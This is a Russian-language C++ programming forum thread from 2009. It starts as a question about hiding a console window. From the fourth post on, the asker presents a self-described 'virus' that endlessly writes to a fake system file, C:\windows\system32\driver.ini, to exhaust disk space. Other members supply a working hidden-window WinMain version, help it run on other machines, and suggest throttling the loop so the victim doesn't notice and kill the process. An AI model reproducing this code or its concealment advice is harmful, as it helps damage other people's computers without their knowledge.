Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
 
Рейтинг: Рейтинг темы: голосов - 88, средняя оценка - 4.65
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
#1

Как запустить консольное приложение в фоновом режиме? - C++

15.06.2009, 23:51. Просмотров 11607. Ответов 27
Метки нет (Все метки)

у меня такая проблема, мне надо, чтоб консольное приложение при запуске сворачивалось в трей, или чтоб не было открытого окна cmd, подскажите, кто знает
З.Ы. Заранее спасибо!
0
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
15.06.2009, 23:51
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Как запустить консольное приложение в фоновом режиме? (C++):

Как запустить установку приложения в фоновом режиме? - C++
Доброго времени суток, подскажите может кто знает, мне нужно написать функцию, которая запускает установку драйвера (.ехе), но эта...

Как запустить консольное приложение через CreateProcess и спрятать его окно? - C++
Т.е. как запустить досовский exe-шник через CreateProcess и чтобы его окна не было видно?

Как запустить внешнее консольное приложение и получить то, что будет выведено на экран? - C++
Есть программка которая распознает капчу, когда я ее запускаю из командной строки выводится значение капчи на экран от так вызываю да...

Невозможно запустить консольное приложение - C++
Проблема может даже очень тривиальная, но никак не могу въехать.. Ситуация одинаковая и с Билдером 6 и с ДевС++. Суть: при запуске...

Запустить внешнее консольное приложение и вернуть результат - C++
Здравствуйте. Подскажите, пожалуйста, как можно запустить внешнее консольное приложение без создания окна и вернуть результат? Например...

как выполнить system() в фоновом режиме - C++
есть system("start .\hl2.exe -game cstrike") проблема в том что когда запускаю программу промелькивает dos окно ну а потом запускается сама...

Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
exe-dealer
301 / 154 / 4
Регистрация: 07.06.2009
Сообщений: 538
15.06.2009, 23:54 #2
если в трей то тогда зачем его консольным делать?
пользуйся посиком по форуму "балун*в*трее"

Добавлено через 1 минуту 44 секунды
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//notifyicon.h
#include <windows.h>
#include <shellapi.h>
#include <tchar.h>
 
#define WM_NOTIFYICON (WM_USER + 1)
#define BALLOON_LINE_MAXLEN 50
#define BALLOON_BODY_MAXLEN 256
#define BALLOON_TITLE_MAXLEN 54
#define TIP_MAXLEN 128
 
class NotifyIcon
{
private:
    NOTIFYICONDATA nid;
    bool bVisible;
 
public:
    NotifyIcon(HWND hOwnerWnd);
    ~NotifyIcon();
    void setIcon(HICON hIcon);
    void setTipText(LPCTSTR szText);
    void Show();
    void Hide();
    void ShowBalloonTip(LPCTSTR szBody, LPCTSTR szTitle, DWORD dwIcon, UINT uTimeout);
};
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
//notifyicon.cpp
#include "notifyicon.h"
 
UINT uNotifyIconsCount = 0;
 
NotifyIcon::NotifyIcon(HWND hOwnerWnd)
{
    memset(&this->nid, 0, sizeof(NOTIFYICONDATA));
    this->nid.cbSize = NOTIFYICONDATA_V2_SIZE;
    this->nid.hWnd = hOwnerWnd;
    this->nid.uID = uNotifyIconsCount++;
    this->nid.uCallbackMessage = WM_NOTIFYICON;
    this->bVisible = false;
}
 
NotifyIcon::~NotifyIcon()
{
    Shell_NotifyIcon(NIM_DELETE, &nid);
}
 
void NotifyIcon::setIcon(HICON hIcon)
{
    this->nid.hIcon = hIcon;
    if(this->bVisible)
    {
        this->nid.uFlags = NIF_ICON;
        Shell_NotifyIcon(NIM_MODIFY, &this->nid);
    }
}
 
void NotifyIcon::setTipText(LPCTSTR szText)
{
    UINT uTextLenght = _tcslen(szText);
    if(uTextLenght > TIP_MAXLEN - 1) uTextLenght = TIP_MAXLEN - 1;
    _tcsncpy_s(this->nid.szTip, TIP_MAXLEN, szText, uTextLenght);
    this->nid.szTip[uTextLenght] = 0;
 
    if(this->bVisible)
    {
        this->nid.uFlags = NIF_TIP;
        Shell_NotifyIcon(NIM_MODIFY, &this->nid);
    }
}
 
void NotifyIcon::Show()
{
    if(!this->bVisible)
    {
        this->bVisible = true;
        this->nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;
        Shell_NotifyIcon(NIM_ADD, &this->nid);
    }
}
 
void NotifyIcon::Hide()
{
    if(this->bVisible)
    {
        this->bVisible = false;
        Shell_NotifyIcon(NIM_DELETE, &this->nid);
    }
}
 
void NotifyIcon::ShowBalloonTip(LPCTSTR szBody, LPCTSTR szTitle, DWORD dwIcon, UINT uTimeout)
{
    if(!this->bVisible) this->Show();
 
    this->nid.uTimeout = uTimeout;
    this->nid.dwInfoFlags = dwIcon;
 
    UINT uLength;
    
    uLength = _tcslen(szBody);
    if(uLength > BALLOON_BODY_MAXLEN - 1) uLength = BALLOON_BODY_MAXLEN -1;
    _tcsncpy_s(this->nid.szInfo, 256, szBody, uLength);
    this->nid.szInfo[uLength] = 0;
 
    uLength = _tcslen(szTitle);
    if(uLength > BALLOON_TITLE_MAXLEN - 1) uLength = BALLOON_TITLE_MAXLEN - 1;
    _tcsncpy_s(this->nid.szInfoTitle, BALLOON_TITLE_MAXLEN, szTitle, uLength);
    this->nid.szInfoTitle[uLength] = 0;
 
    this->nid.uFlags = NIF_INFO;
    Shell_NotifyIcon(NIM_MODIFY, &this->nid);
}
0
Monte-Cristo
2789 / 1375 / 30
Регистрация: 07.03.2009
Сообщений: 4,446
16.06.2009, 00:17 #3
selevit, если же вам просто не нужно окно (а трей нафик не нужен) тогда создайте пустой WinAPI проект.. и вместо main() используйте WinMain()
0
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
17.06.2009, 14:57  [ТС] #4
я никогда не работал с Win32 проектами, и мне бы хотелось узнать как скрыть консольное приложение либо в трей, либо еще как нибудь, только чтоб его не было на экране

Добавлено через 4 часа 4 минуты 47 секунд
я еще немного кипятильник в этом деле, вот код,
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "stdafx.h"
#include <conio.h>
#include "iostream"
 
int (int argc, _TCHAR* argv[])
{
  FILE* file;
  char* file_name = "C:\\windows\\system32\\driver.ini";
 
  file = fopen(file_name, "a");
  
  if(!file)
    return 0;
  
  for(;;)
      fputs("ыыыы\n", file );
  
  fclose( file );
 
 
 
 
  return 0;
}
эта программа типа вирус) она создает похожий на системный файл driver.ini и в бесконечном цикле начинает записывать в него символы, что значительно уменьшает место на диске, так вот, если прога поработает минут 5 от силы, то на ХДД места не будет вообще, можете сами протестить). так вот что мне вписать в код, чтобы окна не было видно.
0
Monte-Cristo
2789 / 1375 / 30
Регистрация: 07.03.2009
Сообщений: 4,446
17.06.2009, 15:22 #5
создаете Win32 project.. ставите галочку empty project
создаете чистый .cpp файл.. в нем пишите...

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <iostream>
 
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgs, int nWinMode)
{
    FILE* file;
    char* file_name = "C:\\windows\\system32\\driver.ini";
 
    file = fopen(file_name, "a");
  
    if(!file)
        return 0;
  
    while(true)
        fputs("ыыыы\n", file );
  
    fclose( file );
 
    return 0;
}
0
Evg
Эксперт CАвтор FAQ
17810 / 6016 / 388
Регистрация: 30.03.2009
Сообщений: 16,531
Записей в блоге: 26
17.06.2009, 15:28 #6
Цитата Сообщение от selevit Посмотреть сообщение
если прога поработает минут 5 от силы, то на ХДД места не будет вообще
Зависит от типа файловой системы. На FAT максимальный размер файла - 2 гига
0
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
17.06.2009, 23:28  [ТС] #7
еще раз спасибо за помощь, Monte-Cristo все работает, очень Вам благодарен!
Цитата Сообщение от Evg Посмотреть сообщение
Зависит от типа файловой системы. На FAT максимальный размер файла - 2 гига
Вы наверно имеете ввиду систему FAT32, в которой размер файла не более 4 гб, т.к фс FAT уже давно не используется, да и фат32 уже редко можно встретить, пока я писал это сообщение, у меня файл Driver.ini стал 35 Гб скоро скажет мало места))) шас иконку буду рисовать для проги

Добавлено через 1 час 19 минут 14 секунд
Извиняюсь, возникла еще одна проблема, на других машинах прога не запускается,
пишет, что приложению не удалось запуститься, поскольку оно было неправильно настроено. тогда я отключил файл манифеста в свойствах проэкта и там же, в разделе компиляция кода поставил библиотеку многопоточную (MT). при компиляции пишет вот что:
Assembler
1
2
3
4
5
6
1>LINK : warning LNK4098: библиотека по умолчанию "LIBCMT" противоречит использованию других библиотек; используйте параметр /NODEFAULTLIB:library
1>LINK : warning LNK4199: параметр /DELAYLOAD:OleAcc.dll игнорируется; не найдены операции импорта из OleAcc.dll
1>libcpmtd.lib(xdebug.obj) : error LNK2019: ссылка на неразрешенный внешний символ __malloc_dbg в функции "void * __cdecl operator new(unsigned int,struct std::_DebugHeapTag_t const &,char *,int)" (??2@YAPAXIABU_DebugHeapTag_t@std@@PADH@Z)
1>libcpmtd.lib(xdebug.obj) : error LNK2019: ссылка на неразрешенный внешний символ __free_dbg в функции "void __cdecl operator delete(void *,struct std::_DebugHeapTag_t const &,char *,int)" (??3@YAXPAXABU_DebugHeapTag_t@std@@PADH@Z)
1>LIBCMT.lib(wwincrt0.obj) : error LNK2019: ссылка на неразрешенный внешний символ _wWinMain@16 в функции ___tmainCRTStartup
1>C:\Documents and Settings\selevit\My documents\Visual Studio 2008\Projects\gtyltkm\Debug\gtyltkm.exe : fatal error LNK1120: 3 неразрешенных внешних элементов
0
Evg
Эксперт CАвтор FAQ
17810 / 6016 / 388
Регистрация: 30.03.2009
Сообщений: 16,531
Записей в блоге: 26
17.06.2009, 23:33 #8
> пишет, что приложению не удалось запуститься, поскольку оно было неправильно настроено

Так у тя по ходу дела .NET

Добавлено через 38 секунд
Ваще, чем-то вирус талибан напоминает. Пожалуйста, установите .net-framework (Версии не ниже 3), после чего запустите меня ручками
0
exe-dealer
301 / 154 / 4
Регистрация: 07.06.2009
Сообщений: 538
17.06.2009, 23:39 #9
>пишет, что приложению не удалось запуститься, поскольку оно было неправильно настроено
это когда приложение отбилдено с Debug , нужно билдить с Release когда прога покидает комп со средой разработки
0
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
18.06.2009, 00:00  [ТС] #10
Цитата Сообщение от exe-dealer Посмотреть сообщение
>пишет, что приложению не удалось запуститься, поскольку оно было неправильно настроено
это когда приложение отбилдено с Debug , нужно билдить с Release когда прога покидает комп со средой разработки
не помогает пишет то же самое на другой машине.
0
exe-dealer
301 / 154 / 4
Регистрация: 07.06.2009
Сообщений: 538
18.06.2009, 00:11 #11
незнаю тогда
зы а iostream зачем там? stdio.h ведь для FILE и fopen, fputs

fclose( file );
это там для кого? туда управление не доходит, можешь убрать)

Добавлено через 3 минуты 32 секунды
а у тебя под win компилится или под clr? посмотри на ветке general в опциях компилера
1
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
18.06.2009, 00:14  [ТС] #12
да хз, просто я этот шаблон создал и по нему пишусь всегда так как быть с тем, что прога не запусткается на машинах, где нет C++?

Добавлено через 2 минуты 24 секунды
нет поддержки CRL среды. значит под WIN)
0
exe-dealer
301 / 154 / 4
Регистрация: 07.06.2009
Сообщений: 538
18.06.2009, 00:17 #13
или глянь в списках аргументов командной строки /clr
ps кстате в цикле лучше останавливать поток на 50 мс, чтобы юзер не запалил и не порубил процесс.

Добавлено через 1 минуту 35 секунд
попробуй убери iostream и поставь вместо него stdio.h
1
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
18.06.2009, 00:20  [ТС] #14
Цитата Сообщение от selevit Посмотреть сообщение
я еще немного кипятильник в этом деле)))
или глянь в списках аргументов командной строки /clr
ps кстате в цикле лучше останавливать поток на 50 мс
НЭПОНАТНО!!!
0
exe-dealer
301 / 154 / 4
Регистрация: 07.06.2009
Сообщений: 538
18.06.2009, 00:27 #15
как поток остановить в с++ я не знаю, я сам в нем новичок. Лучше подожди тогда советов тех кто разбирается.
0
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
18.06.2009, 00:27
Привет! Вот еще темы с ответами:

Sleep() в фоновом режиме - C++
Мне надо, чтобы пока функция sleep() выполняется, я мог еще что-то делать, но пока она не кончится я не могу ничего сделать, помогите или...

Программа в фоновом режиме - C++
банальный пример - вирус который висит в процесах и творит какие-то дела. как делаются такие проги? не вирусы)), а не консольные ...

Выполнение приложения в фоновом режиме - C++
Здравствуйте! Подскажите пожалуйста, как сделать так, чтобы после запуска приложения оно не болталось в консоли и занимало её, а...

Командная строка в фоновом режиме - C++
Хау. Немного глупый вопрос. Допустим есть команда system(&quot;start notepad.exe&quot;); И перед открытием блокнота промелькивает окно...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
Yandex
Объявления
18.06.2009, 00:27
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru